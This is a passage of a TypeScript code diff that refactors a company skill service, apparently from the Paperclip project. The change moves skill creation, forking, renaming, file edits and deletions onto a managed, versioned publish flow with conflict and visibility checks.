(!version) throw notFound("Skill version not found"); + return runtimeVersionInventory(companyId, version); + } + if (skill.sourceType === "local_path" && skill.sourceLocator) { + skill = { ...skill, fileInventory: await collectLocalSkillInventory(skill.sourceLocator, inferLocalSkillInventoryMode(skill)) }; + } const out: CompanySkillVersionFileInventoryEntry[] = []; for (const entry of skill.fileInventory) { - const detail = await readFile(companyId, skill.id, entry.path); + const detail = await readLoadedSkillFile(skill, entry.path); if (!detail) continue; out.push({ path: detail.path, @@ -3720,6 +3756,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!options.skipInventoryRefresh) await ensureSkillInventoryCurrent(companyId); const skill = options.skill ?? await getById(companyId, skillId, options.database); if (!skill) throw notFound("Skill not found"); + if (skill.sourceType === "managed" && !options.database && !options.release) { + const selectedId = input.sourceVersionId ?? skill.currentVersionId; + if (!selectedId) throw unprocessable("Managed skill has no committed version."); + const { files } = await managedContent.read(companyId, skillId, selectedId); + const inventory = options.fileInventory ?? files; + const candidate = await managedContent.prepare(companyId, inventory); + const markdown = inventory.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const saved = await managedContent.publish(skill, candidate, { + markdown, name: asString(parsed.frontmatter.name) ?? skill.name, + description: asString(parsed.frontmatter.description) ?? skill.description, + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + ...readSkillStoreMetadata(parsed.frontmatter, skill.metadata), + }, actor, { ...options.publication, expectedVersionId: input.expectedVersionId, label: input.label, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await options.publication?.validate?.(tx); + }, + }); + return { ...toCompanySkillVersion(saved.version), fileInventory: inventory }; + } + if (input.sourceVersionId) throw unprocessable("Only Paperclip-managed skills can restore a saved version."); const fileInventory = serializeVersionFileInventory( options.fileInventory ?? await collectVersionFileInventory(companyId, skill), ); @@ -3729,7 +3787,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo let packageFileMap = options.packageFileMap ?? null; const preparePackage = async (store: ReturnType) => { const id = await store.prepare(companyId, fileInventory); - packageFileMap = skillVersionFileMap(fileInventory, await store.manifest(companyId, id)); + packageFileMap = skillVersionFileMap(fileInventory); return id; }; const packageSnapshotId = options.packageSnapshotId ?? (options.release || !skillPackageStorageEnabled() ? null : options.database @@ -4021,11 +4079,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo source: CompanySkill, forkKey: string, planned: PlannedSkillReassignment[], + database: Db = db, ): Promise { if (planned.length === 0) return []; - const skills = await listReferenceTargets(companyId); - await db.transaction(async (tx) => { - for (const item of planned) { + const skills = await listReferenceTargets(companyId, database); + await database.transaction(async (tx) => { + for (const item of [...planned].sort((a, b) => a.agentId.localeCompare(b.agentId))) { const row = await tx .select({ id: agentsTable.id, @@ -4061,43 +4120,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return planned.map((item) => item.reassignment); } - async function cleanupFailedFork(companyId: string, sourceSkillId: string, forkSkillId: string, forkDir: string) { - await db.transaction(async (tx) => { - await notifyDeliveryWork(tx, DELIVERY_QUEUES.skillPackages); - await notifySkillVersionRetention(tx, companyId); - await tx - .update(companySkills) - .set({ currentVersionId: null, updatedAt: new Date() }) - .where(and(eq(companySkills.id, forkSkillId), eq(companySkills.companyId, companyId))); - await tx - .delete(companySkillComments) - .where(and(eq(companySkillComments.companyId, companyId), eq(companySkillComments.companySkillId, forkSkillId))); - await tx - .delete(companySkillStars) - .where(and(eq(companySkillStars.companyId, companyId), eq(companySkillStars.companySkillId, forkSkillId))); - await tx - .delete(companySkillVersions) - .where(and(eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.companySkillId, forkSkillId))); - await tx - .delete(companySkills) - .where(and(eq(companySkills.id, forkSkillId), eq(companySkills.companyId, companyId))); - await tx - .update(companySkills) - .set({ - forkCount: sql`greatest(${companySkills.forkCount} - 1, 0)`, - installCount: sql`greatest(${companySkills.installCount} - 1, 0)`, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, sourceSkillId), eq(companySkills.companyId, companyId))); - }); - await fs.rm(forkDir, { recursive: true, force: true }); - } - async function forkSkill( companyId: string, skillId: string, input: CompanySkillForkRequest = {}, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { await ensureSkillInventoryCurrent(companyId); const source = await getById(companyId, skillId); @@ -4110,99 +4138,66 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const forkName = input.name?.trim() || `${source.name} Fork`; const forkKey = `company/${companyId}/${forkSlug}`; const plannedReassignments = await planSkillReassignments(companyId, source, forkKey, input.reassignAgentIds); - const managedRoot = resolveManagedSkillsRoot(companyId); - await fs.mkdir(managedRoot, { recursive: true }); - const forkDir = await fs.mkdtemp(path.join(managedRoot, `${forkSlug}-fork-`)); - const sourceVersion = await getCurrentVersion(source); - const repositoryFiles = sourceVersion?.repositorySnapshotId ? await runtimeVersionInventory(companyId, sourceVersion) : null; - for (const entry of repositoryFiles ?? source.fileInventory) { - const detail = repositoryFiles?.find(file => file.path === entry.path) ?? await readFile(companyId, source.id, entry.path); - if (!detail) continue; - const targetPath = path.resolve(forkDir, detail.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(detail), { mode: detail.executable ? 0o755 : 0o644 }); - } - const skillFilePath = path.join(forkDir, "SKILL.md"); - const markdown = await fs.readFile(skillFilePath, "utf8").catch(() => source.markdown); - if (!(await statPath(skillFilePath))?.isFile()) { - await fs.writeFile(skillFilePath, markdown, "utf8"); - } - const inventory = await collectLocalSkillInventory(forkDir); - const parsed = parseFrontmatterMarkdown(markdown); - const accessSourceId = await retainProjectSkillAccess(db, companyId, source.accessSourceId); - const metadata = { - accessSourceId, - sourceKind: "managed_local", - forkedFromSkillId: source.id, - forkedFromCompanyId: source.companyId, - forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, - forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, - }; - const imported = await upsertImportedSkills(companyId, [{ - key: forkKey, - slug: forkSlug, - name: asString(parsed.frontmatter.name) ?? forkName, - description: asString(parsed.frontmatter.description) ?? source.description, - markdown, - sourceType: "local_path", - sourceLocator: forkDir, - sourceRef: null, - trustLevel: deriveTrustLevel(inventory), - compatibility: source.compatibility, - fileInventory: inventory, - metadata, - }]); - const forked = imported[0]!; - await db - .update(companySkills) - .set({ - accessSourceId, - iconUrl: source.iconUrl, - color: source.color, - tagline: source.tagline, - authorName: source.authorName, - homepageUrl: source.homepageUrl, - categories: source.categories, - sharingScope: input.sharingScope ?? "company", - forkedFromSkillId: source.id, - forkedFromCompanyId: source.companyId, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, forked.id), eq(companySkills.companyId, companyId))); - await db - .update(companySkills) - .set({ - forkCount: sql`${companySkills.forkCount} + 1`, - installCount: sql`${companySkills.installCount} + 1`, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, source.id), eq(companySkills.companyId, companyId))); - await createVersion(companyId, forked.id, { label: "Initial version" }, actor); - const persistedFork = await getById(companyId, forked.id).then((skill) => { - if (!skill) throw notFound("Forked skill not found"); - return skill; - }); - let reassignments: CompanySkillForkReassignment[]; - try { - reassignments = await applySkillReassignments(companyId, source, forkKey, plannedReassignments); - } catch (error) { - await cleanupFailedFork(companyId, source.id, forked.id, forkDir); - throw error; - } - return { - skill: persistedFork, - original: summarizeOriginalSkill(source), - reassignments, - }; + let reassignments: CompanySkillForkReassignment[] = []; + const forked = await createLocalSkill(companyId, { + name: forkName, slug: forkSlug, forkedFromSkillId: source.id, sharingScope: input.sharingScope ?? "company", + }, actor, { ...publication, afterPublish: async (tx, row, version) => { + reassignments = await applySkillReassignments(companyId, source, forkKey, plannedReassignments, tx as unknown as Db); + await publication.afterPublish?.(tx, row, version); + } }); + return { skill: forked, original: summarizeOriginalSkill(source), reassignments }; } async function renameSkill( companyId: string, skillId: string, input: CompanySkillRenameRequest, + publication: SkillContentPublication = {}, ): Promise { await ensureSkillInventoryCurrent(companyId); - if (!await getById(companyId, skillId)) throw notFound("Skill not found"); + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + const newName = input.name.trim(); + const newSlug = normalizeSkillSlug(input.slug ?? null) ?? normalizeSkillSlug(newName); + if (!newName || !newSlug) throw unprocessable("Skill name must contain at least one letter or number."); + const newKey = `company/${companyId}/${newSlug}`; + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const markdown = rewriteFrontmatterName(files.find(file => file.path === "SKILL.md")!.content, newName); + const candidate = await managedContent.prepare(companyId, + files.map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file)); + const references = await listReferenceTargets(companyId); + const reassignments: CompanySkillForkReassignment[] = []; + const saved = await managedContent.publish(base, candidate, { + name: newName, slug: newSlug, key: newKey, markdown, + }, null, { ...publication, expectedVersionId: input.expectedVersionId, reuseCurrentVersion: true, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await publication.validate?.(tx); + const [collision] = await tx.select({ id: companySkills.id, slug: companySkills.slug }).from(companySkills).where(and( + eq(companySkills.companyId, companyId), or(eq(companySkills.slug, newSlug), eq(companySkills.key, newKey)), ne(companySkills.id, skillId))); + if (collision) throw conflict(`A company skill with slug "${newSlug}" already exists.`, + collision.slug === newSlug ? { conflict: "slug", slug: newSlug } : { conflict: "key", key: newKey }); + }, + afterPublish: async (tx, row, version) => { + const rows = await tx.select({ id: agentsTable.id, adapterConfig: agentsTable.adapterConfig }).from(agentsTable) + .where(eq(agentsTable.companyId, companyId)).orderBy(asc(agentsTable.id)).for("update"); + for (const row of rows) { + const config = row.adapterConfig as Record; + const entries = resolveDesiredSkillEntries(references, config); + if (!entries.some(entry => entry.key === base.key)) continue; + const next = entries.map(entry => entry.key === base.key ? { ...entry, key: newKey } : entry); + await updateAgentConfigurationInTransaction(tx as unknown as Db, row.id, { + adapterConfig: writePaperclipSkillSyncPreference(config, next), + }, { allowPendingApprovalConfigUpdate: true }); + reassignments.push({ agentId: row.id, previousSkillKey: base.key, nextSkillKey: newKey }); + } + await publication.afterPublish?.(tx, row, version); + }, + }); + return { skill: toCompanySkill(saved.skill), previousName: base.name, previousSlug: base.slug, previousKey: base.key, reassignments }; + } const managedRoot = resolveManagedSkillsRoot(companyId); let result: CompanySkillRenameResult | undefined; let restoreSource: (() => Promise) | undefined; @@ -4360,7 +4355,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const skill = await getById(companyId, skillId); if (!skill) return null; const audit = skill.sourceType === "catalog" || skill.sourceType === "local_path" - ? await auditInstalledSkillBytes(skill) + ? (skill.currentVersionId && skill.sourceType === "catalog" ? await auditSkill(companyId, skill.id) : await auditInstalledSkillBytes(skill)) : null; const metadata = getSkillMeta(skill); const statusMeta = { @@ -4469,7 +4464,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo async function readLoadedSkillFile(skill: CompanySkill, relativePath: string): Promise { const normalizedPath = normalizePortablePath(relativePath || "SKILL.md"); - if (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash && skill.currentVersionId) { + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { const version = await readVersionMetadata(skill.companyId, skill.id, skill.currentVersionId); let file: CompanySkillVersionFileInventoryEntry | undefined; if (version) { @@ -4479,9 +4474,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } if (!file) throw notFound("Installed skill snapshot is missing a file."); - return { ...file, skillId: skill.id, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), - markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: false }; + return { ...file, skillId: skill.id, versionId: skill.currentVersionId, + language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), + editable: deriveSkillSourceInfo(skill).editable && file.encoding !== "base64" }; } + if (skill.sourceType === "managed") throw unprocessable("Managed skill has no committed version."); const fileEntry = skill.fileInventory.find((entry) => entry.path === normalizedPath); if (!fileEntry) throw notFound("Skill file not found"); const source = deriveSkillSourceInfo(skill); @@ -4492,7 +4490,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const diskBytes = absolutePath ? await fs.readFile(absolutePath).catch(() => null) : null; if (diskBytes !== null) { const file = snapshotFile(normalizedPath, fileEntry.kind, diskBytes, Boolean((await fs.stat(absolutePath!)).mode & 0o111)); - return { ...file, skillId: skill.id, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + return { ...file, skillId: skill.id, versionId: skill.currentVersionId, language: file.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), markdown: file.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: source.editable && file.encoding !== "base64" }; } else if (normalizedPath === "SKILL.md") { content = skill.markdown; @@ -4535,6 +4533,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { skillId: skill.id, + versionId: skill.currentVersionId, path: normalizedPath, kind: fileEntry.kind, content, @@ -4601,164 +4600,70 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, input: CompanySkillCreateRequest, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { if (input.folderId) await folderSvc.validateSkillFolder(companyId, input.folderId); const slug = normalizeSkillSlug(input.slug ?? input.name) ?? "skill"; const key = `company/${companyId}/${slug}`; - - const forkSource = input.forkedFromSkillId - ? await getById(companyId, input.forkedFromSkillId) - : null; - if (input.forkedFromSkillId && !forkSource) { - throw notFound("Fork source skill not found"); - } + const forkSource = input.forkedFromSkillId ? await getById(companyId, input.forkedFromSkillId) : null; + if (input.forkedFromSkillId && !forkSource) throw notFound("Fork source skill not found"); if (forkSource?.accessSourceId && input.sharingScope === "public_link") { throw forbidden("Project skills cannot be published through a public link."); } - const forkVersion = forkSource ? await getCurrentVersion(forkSource) : null; - const repositoryFiles = forkVersion?.repositorySnapshotId ? await runtimeVersionInventory(companyId, forkVersion) : null; - const sharingScope = normalizeMutableSharingScope(input.sharingScope) ?? "company"; - const managedRoot = resolveManagedSkillsRoot(companyId); - const skillDir = path.resolve(managedRoot, slug); - - const fallbackMarkdown = [ - "---", - `name: ${input.name}`, - ...(input.description?.trim() ? [`description: ${input.description.trim()}`] : []), - "---", - "", - `# ${input.name}`, - "", - input.description?.trim() ? input.description.trim() : "Describe what this skill does.", - "", - ].join("\n"); - const markdown = input.markdown?.trim().length - ? input.markdown - : repositoryFiles?.find(file => file.path === "SKILL.md")?.content ?? forkSource?.markdown ?? fallbackMarkdown; - - return db.transaction(async (tx) => { - await tx.execute(sql` - select pg_advisory_xact_lock(hashtextextended(${`${companyId}:${slug}`}, 0)) - `); - const existing = await getByKey(companyId, key, tx); - if (existing) throw conflict(`A company skill with slug "${slug}" already exists.`); - - // Stage in a unique directory. Publication is a single rename and never - // removes an existing directory, so a failed retry cannot clobber bytes. - const stagingRoot = path.join(managedRoot, ".staging"); - await fs.mkdir(stagingRoot, { recursive: true }); - const stagingDir = await fs.mkdtemp(path.join(stagingRoot, `${slug}-${randomUUID()}-`)); - let published = false; - try { + const files = forkSource ? await collectVersionFileInventory(companyId, forkSource) : []; + const fallbackMarkdown = ["---", stringifyFrontmatter({ name: input.name, + ...(input.description?.trim() ? { description: input.description.trim() } : {}) }), + "---", "", `# ${input.name}`, "", input.description?.trim() || "Describe what this skill does.", ""].join("\n"); + const markdown = input.markdown?.trim().length ? input.markdown + : files.find(file => file.path === "SKILL.md")?.content ?? fallbackMarkdown; + const inventory = [...files.filter(file => file.path !== "SKILL.md"), + { path: "SKILL.md", kind: "skill" as const, content: markdown }]; + const candidate = await managedContent.prepare(companyId, inventory); + const parsed = parseFrontmatterMarkdown(markdown); + const store = readSkillStoreMetadata(parsed.frontmatter, forkSource?.metadata ?? null); + const values: typeof companySkills.$inferInsert = { + companyId, key, slug, name: asString(parsed.frontmatter.name) ?? input.name, + description: asString(parsed.frontmatter.description) ?? input.description?.trim() ?? forkSource?.description ?? null, + markdown, sourceType: "managed", sourceLocator: null, sourceRef: null, + trustLevel: deriveTrustLevel(inventory), compatibility: forkSource?.compatibility ?? "compatible", + fileInventory: serializeFileInventory(inventory), + iconUrl: normalizeStoreText(input.iconUrl, 2000) ?? forkSource?.iconUrl ?? store.iconUrl, + color: normalizeStoreText(input.color, 64) ?? forkSource?.color ?? store.color, + tagline: normalizeStoreText(input.tagline, 120) ?? forkSource?.tagline ?? store.tagline, + authorName: normalizeStoreText(input.authorName, 200) ?? forkSource?.authorName ?? store.authorName, + homepageUrl: normalizeStoreText(input.homepageUrl, 2000) ?? forkSource?.homepageUrl ?? store.homepageUrl, + categories: input.categories ? normalizeCategoryList(input.categories) : forkSource?.categories ?? store.categories, + folderId: input.folderId ?? null, sharingScope: normalizeMutableSharingScope(input.sharingScope) ?? "company", + forkedFromSkillId: forkSource?.id ?? null, forkedFromCompanyId: forkSource?.companyId ?? null, + metadata: { sourceKind: "managed", ...(forkSource ? { + forkedFromSkillId: forkSource.id, forkedFromCompanyId: forkSource.companyId, + forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, + forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, + } : {}) }, + }; + const result = await managedContent.create(values, candidate, actor, { + ...publication, label: publication.label ?? "Initial version", + validate: async tx => { + await publication.validate?.(tx); + if (input.folderId) await folderService(tx as unknown as Db).validateSkillFolder(companyId, input.folderId); if (forkSource) { - for (const entry of repositoryFiles ?? forkSource.fileInventory) { - const detail = repositoryFiles?.find(file => file.path === entry.path) ?? await readFile(companyId, forkSource.id, entry.path); - if (!detail) continue; - const targetPath = path.resolve(stagingDir, detail.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(detail), { mode: detail.executable ? 0o755 : 0o644 }); + await visibility(tx).assertSkill(companyId, forkSource.id); + const [currentSource] = await tx.select({ accessSourceId: companySkills.accessSourceId }).from(companySkills) + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, forkSource.id))).for("update"); + if (!currentSource || currentSource.accessSourceId !== (forkSource.accessSourceId ?? null)) { + throw conflict("Fork source access changed. Reload before retrying."); } + values.accessSourceId = await retainProjectSkillAccess(tx as unknown as Db, companyId, currentSource.accessSourceId); } - await fs.writeFile(path.join(stagingDir, "SKILL.md"), markdown, "utf8"); - await fs.mkdir(managedRoot, { recursive: true }); - const existingPublishedDir = await resolveExistingSkillDirectory(skillDir); - if (existingPublishedDir) { - // A publish can survive an outer database rollback. Recover only an - // exact file-for-file retry. Never silently adopt different content. - const existingStat = await fs.lstat(skillDir); - if (existingStat.isSymbolicLink() || !existingStat.isDirectory()) { - throw conflict(`The storage location for skill "${slug}" is unavailable.`); - } - const stagedInventory = await collectLocalSkillInventory(stagingDir); - const existingInventory = await collectLocalSkillInventory(skillDir); - const stagedPaths = stagedInventory.map(entry => entry.path).sort(); - const existingPaths = existingInventory.map(entry => entry.path).sort(); - if (JSON.stringify(stagedPaths) !== JSON.stringify(existingPaths)) { - throw conflict(`Different files already exist for skill "${slug}". Choose another name.`); - } - for (const file of stagedPaths) { - const target = path.join(skillDir, file); - const stat = await fs.lstat(target); - const root = await fs.realpath(skillDir); - const real = await fs.realpath(target); - if (stat.isSymbolicLink() || !stat.isFile() || !real.startsWith(`${root}${path.sep}`) - || !(await fs.readFile(target)).equals(await fs.readFile(path.join(stagingDir, file)))) { - throw conflict(`Different files already exist for skill "${slug}". Choose another name.`); - } - } - await fs.rm(stagingDir, { recursive: true, force: true }); - } else { - await fs.rename(stagingDir, skillDir); - } - published = true; - - const inventory = (forkSource || existingPublishedDir) - ? await collectLocalSkillInventory(skillDir) - : [{ path: "SKILL.md", kind: "skill" as const }]; - const parsed = parseFrontmatterMarkdown(markdown); - const accessSourceId = await retainProjectSkillAccess(db, companyId, forkSource?.accessSourceId); - const metadata = { - sourceKind: "managed_local", - ...(accessSourceId ? { accessSourceId } : {}), - ...(forkSource ? { - forkedFromSkillId: forkSource.id, - forkedFromCompanyId: forkSource.companyId, - forkedByAgentId: actor?.type === "agent" ? actor.agentId ?? null : null, - forkedByUserId: actor?.type === "user" ? actor.userId ?? null : null, - } : {}), - }; - const imported = await upsertImportedSkills(companyId, [{ - key, - slug, - name: asString(parsed.frontmatter.name) ?? input.name, - description: asString(parsed.frontmatter.description) ?? input.description?.trim() ?? forkSource?.description ?? null, - markdown, - sourceType: "local_path", - sourceLocator: skillDir, - sourceRef: null, - trustLevel: deriveTrustLevel(inventory), - compatibility: forkSource?.compatibility ?? "compatible", - fileInventory: inventory, - metadata, - }], tx); - const created = imported[0]!; - const row = await tx - .update(companySkills) - .set({ - iconUrl: normalizeStoreText(input.iconUrl, 2000) ?? forkSource?.iconUrl ?? created.iconUrl, - color: normalizeStoreText(input.color, 64) ?? forkSource?.color ?? created.color, - tagline: normalizeStoreText(input.tagline, 120) ?? forkSource?.tagline ?? created.tagline, - authorName: normalizeStoreText(input.authorName, 200) ?? forkSource?.authorName ?? created.authorName, - homepageUrl: normalizeStoreText(input.homepageUrl, 2000) ?? forkSource?.homepageUrl ?? created.homepageUrl, - categories: input.categories ? normalizeCategoryList(input.categories) : forkSource?.categories ?? created.categories, - folderId: input.folderId ?? null, - sharingScope, - forkedFromSkillId: forkSource?.id ?? null, - forkedFromCompanyId: forkSource?.companyId ?? null, - updatedAt: new Date(), - }) - .where(and(eq(companySkills.id, created.id), eq(companySkills.companyId, companyId))) - .returning() - .then((rows) => rows[0] ?? null); - if (forkSource) { - await tx - .update(companySkills) - .set({ forkCount: sql`${companySkills.forkCount} + 1`, installCount: sql`${companySkills.installCount} + 1`, updatedAt: new Date() }) - .where(and(eq(companySkills.id, forkSource.id), eq(companySkills.companyId, companyId))); - } - const versionInventory = await collectVersionFileInventoryFromDirectory(skillDir); - await createVersion(companyId, created.id, { label: "Initial version" }, actor, { - database: tx, - skipInventoryRefresh: true, - skill: row ? toCompanySkill(row) : created, - fileInventory: versionInventory, - }); - return (await getById(companyId, created.id, tx)) ?? (row ? toCompanySkill(row) : created); - } catch (error) { - if (!published) await fs.rm(stagingDir, { recursive: true, force: true }).catch(() => {}); - throw error; - } + }, + afterPublish: async (tx, skill, version) => { + if (forkSource) await tx.update(companySkills).set({ + forkCount: sql`${companySkills.forkCount} + 1`, installCount: sql`${companySkills.installCount} + 1`, + }).where(and(eq(companySkills.id, forkSource.id), eq(companySkills.companyId, companyId))); + await publication.afterPublish?.(tx, skill, version); + }, }); + return toCompanySkill(result.skill); } async function withSkillFileMutation( @@ -4808,9 +4713,51 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo content: string, actor: SkillActor | null = null, format: { encoding?: "utf8" | "base64"; executable?: boolean; expectedVersionId?: string | null; + publication?: SkillContentPublication; afterUpdate?: (versionId: string | null) => Promise; onRollback?: (restore: () => Promise, versionId: string | null) => void } = {}, ): Promise { + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + if (format.expectedVersionId !== undefined && format.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + const normalizedPath = normalizePortablePath(relativePath); + try { assertSkillSnapshotPath(normalizedPath); } catch { throw unprocessable("Invalid skill file path."); } + if (normalizedPath === "SKILL.md" && format.encoding === "base64") throw unprocessable("SKILL.md must be UTF-8 text."); + const bytes = skillFileBytes({ content, encoding: format.encoding }); + if (format.encoding === "base64" && bytes.toString("base64") !== content) { + throw unprocessable("Binary files must use canonical base64 encoding."); + } + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const previous = files.find(file => file.path === normalizedPath); + const updated = snapshotFile(normalizedPath, classifyInventoryKind(normalizedPath), bytes, + format.executable ?? previous?.executable ?? false); + const inventory = [...files.filter(file => file.path !== normalizedPath), updated]; + const candidate = await managedContent.prepare(companyId, inventory); + const parsed = normalizedPath === "SKILL.md" ? parseFrontmatterMarkdown(content) : null; + const saved = await managedContent.publish(base, candidate, { + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + ...(parsed ? { markdown: content, name: asString(parsed.frontmatter.name) ?? base.name, + description: asString(parsed.frontmatter.description) ?? base.description, + ...readSkillStoreMetadata(parsed.frontmatter, base.metadata) } : {}), + }, actor, { + ...format.publication, expectedVersionId: format.expectedVersionId, reuseCurrentVersion: true, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await format.publication?.validate?.(tx); + }, + afterPublish: async (tx, skill, version) => { + await format.publication?.afterPublish?.(tx, skill, version); + await format.afterUpdate?.(version.id); + }, + }); + return { ...updated, skillId, versionId: saved.version.id, + language: updated.encoding === "base64" ? null : inferLanguageFromPath(normalizedPath), + markdown: updated.encoding !== "base64" && isMarkdownPath(normalizedPath), editable: updated.encoding !== "base64" }; + } return withSkillFileMutation(companyId, skillId, async (skill, tx) => { if (format.expectedVersionId !== undefined && skill.currentVersionId !== format.expectedVersionId) { @@ -4890,7 +4837,36 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skillId: string, input: CompanySkillFileDeleteRequest, actor: SkillActor | null = null, + publication: SkillContentPublication = {}, ): Promise { + const base = await getById(companyId, skillId); + if (!base) throw notFound("Skill not found"); + if (base.sourceType === "managed") { + if (!base.currentVersionId) throw unprocessable("Managed skill has no committed version."); + if (input.expectedVersionId !== undefined && input.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + const normalizedPath = normalizePortablePath(input.path); + if (!normalizedPath) throw unprocessable("Skill file path is required."); + const { files } = await managedContent.read(companyId, skillId, base.currentVersionId); + const matches = (file: CompanySkillVersionFileInventoryEntry) => input.target === "folder" + ? file.path.startsWith(`${normalizedPath}/`) : file.path === normalizedPath; + const deletedPaths = files.filter(matches).map(file => file.path); + if (!deletedPaths.length) throw notFound(input.target === "folder" ? "Skill folder not found" : "Skill file not found"); + if (deletedPaths.includes("SKILL.md")) throw unprocessable("SKILL.md cannot be deleted."); + const inventory = files.filter(file => !matches(file)); + const candidate = await managedContent.prepare(companyId, inventory); + const saved = await managedContent.publish(base, candidate, { + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + }, actor, { ...publication, expectedVersionId: input.expectedVersionId, + label: `Deleted ${normalizedPath}${input.target === "folder" ? "/" : ""}`, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await publication.validate?.(tx); + }, + }); + return { skillId, path: normalizedPath, target: input.target, deletedPaths, versionId: saved.version.id }; + } let backup: { directory: string; source: string; copy: string } | undefined; let mutation: { slug: string; sourceLocator: string | null; previousVersionId: string | null; savedVersionId?: string } | undefined; let needsRestore = false; @@ -5004,17 +4980,18 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } - async function installUpdate(companyId: string, skillId: string, options: { force?: boolean } = {}): Promise { + async function installUpdate(companyId: string, skillId: string, options: { force?: boolean; expectedVersionId?: string | null } = {}, publication: SkillContentPublication = {}): Promise { await ensureSkillInventoryCurrent(companyId); const skill = await getById(companyId, skillId); if (!skill) return null; + if (options.expectedVersionId !== undefined && options.expectedVersionId !== skill.currentVersionId) throw conflict("Skill version changed. Read the current version before retrying."); const status = await updateStatus(companyId, skillId); if (!status?.supported) { throw unprocessable(status?.reason ?? "This skill does not support updates."); } if (skill.sourceType === "catalog" || skill.sourceType === "local_path") { - const audit = await auditInstalledSkillBytes(skill); + const audit = skill.sourceType === "catalog" && skill.currentVersionId ? (await auditSkill(companyId, skill.id))! : await auditInstalledSkillBytes(skill); await persistAuditMetadata(skill, audit); if (audit.verdict === "fail") { throw unprocessable("Skill update is blocked by hard-stop audit findings.", { @@ -5032,83 +5009,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (skill.sourceType === "catalog") { const catalogId = asString(getSkillMeta(skill).catalogId); - if (!catalogId) { - throw unprocessable("Catalog skill metadata is incomplete."); - } - const catalogSkill = resolveCatalogSkillIfPresent(catalogId); - if (!catalogSkill) { - throw unprocessable("Catalog entry is no longer available in the shipped manifest.", { - updateHoldReason: "origin_unavailable", - }); - } - assertCatalogSkillInstallable(catalogSkill); - const originSnapshotLocator = await materializeCatalogOriginSnapshot(companyId, catalogSkill, skill.slug); - const snapshotSkill = { - ...skill, - sourceLocator: originSnapshotLocator, - sourceRef: catalogSkill.contentHash, - fileInventory: catalogSkill.files.map((entry) => ({ path: entry.path, kind: entry.kind })), - metadata: { - ...(isPlainRecord(skill.metadata) ? skill.metadata : {}), - originHash: catalogSkill.contentHash, - }, - }; - const candidateAudit = await auditInstalledSkillBytes(snapshotSkill); - if (candidateAudit.verdict === "fail") { - throw unprocessable("Catalog update is blocked by hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: candidateAudit, - }); - } - const materializedDir = path.resolve( - resolveManagedSkillsRoot(companyId), - "__catalog__", - buildSkillRuntimeName(catalogSkill.key, skill.slug), - ); - await copySkillDirectory(originSnapshotLocator, materializedDir); - const markdown = await fs.readFile(path.join(originSnapshotLocator, catalogSkill.entrypoint), "utf8"); - const nextMetadata = buildCatalogSkillMetadata(catalogSkill, skill, originSnapshotLocator); - const nextValues = { - name: catalogSkill.name, - description: catalogSkill.description, - markdown, - sourceLocator: materializedDir, - sourceRef: catalogSkill.contentHash, - trustLevel: catalogSkill.trustLevel, - compatibility: catalogSkill.compatibility, - fileInventory: serializeFileInventory(catalogSkill.files.map((entry) => ({ - path: entry.path, - kind: entry.kind, - }))), - 